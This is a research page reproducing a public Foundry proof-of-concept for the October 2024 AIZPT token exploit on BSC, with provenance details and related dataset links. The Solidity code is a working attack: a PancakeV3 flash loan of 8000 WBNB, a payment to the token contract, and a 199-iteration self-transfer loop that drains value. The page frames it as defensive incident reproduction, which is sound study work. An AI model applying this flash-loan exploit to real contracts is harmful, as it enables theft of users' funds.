Public reproduction file
src/test/2024-10/AIZPTToken_exp.sol
Public reproduction file for dataset entry AIZPTToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 34.88 BNB (~$20K USD)8// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce329// Attack Contract : https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee1832010// Vulnerable Contract : https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b621888811// Attack Tx : https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d12// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)14// Contracts involved15address constant PancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;16address constant BUSDT = 0x55d398326f99059fF775485246999027B3197955;17address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;18address constant AIZPT = 0xBe779D420b7D573C08EEe226B9958737b6218888;20contract AIZPTToken_exp is Test {21 address attacker = makeAddr("attacker");23 function setUp() public {24 vm.createSelectFork("bsc", 42_846_998 - 1);25 }27 function testPoC() public {28 vm.startPrank(attacker);29 AttackerC attackerC = new AttackerC();30 vm.label(address(attackerC), "attackerC");32 attackerC.attack();34 console.log("Final balance in wBNB :", IERC20(weth).balanceOf(attacker));35 }36}38contract AttackerC {39 function attack() external {40 IFS(PancakeV3Pool).flash(address(this), 0, 8000 ether, "");42 IERC20(weth).transfer(msg.sender, IERC20(weth).balanceOf(address(this)));43 }45 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {46 IFS(weth).withdraw(8000 ether);48 AIZPT.call{value: 8000 ether}("");50 for (uint256 i; i < 199; ++i) {51 IERC20(AIZPT).transfer(AIZPT, 3_837_275 ether);52 }54 IFS(weth).deposit{value: address(this).balance}();56 IERC20(weth).transfer(PancakeV3Pool, 8_004_100_000_000_000_000_000);57 }59 receive() external payable {}60}62interface IFS is IERC20 {63 // PancakeV3Pool64 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;66 // WETH67 function withdraw(68 uint25669 ) external;70 function deposit() external payable;71}Analysis
Dataset entry
Public Foundry test for “AIZPTToken” (2024-10-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
- Attack Contract
0x8408497c18882bfb61be9204cfff530f4ee18320
- Vulnerable Contract
0xbe779d420b7d573c08eee226b9958737b6218888
- Attack Tx
0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d
File record
- Name
- AIZPTToken
- Path
- src/test/2024-10/AIZPTToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2c45698813690cebe8417b2d0601f27f7be8fa03
- Language
- Solidity
- Size
- 72 lines
- Date
- 2024-10-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/AIZPTToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c45698813690cebe8417b2d0601f27f7be8fa03, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.